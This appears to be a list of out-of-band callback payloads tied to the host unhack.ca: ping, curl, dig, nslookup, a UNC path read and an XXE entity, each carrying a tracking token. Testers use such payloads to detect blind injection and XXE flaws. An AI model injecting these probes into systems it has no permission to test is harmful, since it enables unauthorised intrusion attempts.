$ ping -c1 -p 0048387879401c73a23cc4e9b67fa700 unhack.ca
 

$ curl http://unhack.ca/p/48387879401c73a23cc4e9b67fa7
 

$ dig 48387879401c73a23cc4e9b67fa7 @unhack.ca
 

$ dig 48387879401c73a23cc4e9b67fa7.ns.unhack.ca
 

C:\> nslookup 48387879401c73a23cc4e9b67fa7 unhack.ca
 

C:\> type \\unhack.ca\48387879401c73a23cc4e9b67fa7\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/48387879401c73a23cc4e9b67fa7">]>
    <foo>&xxe;</foo>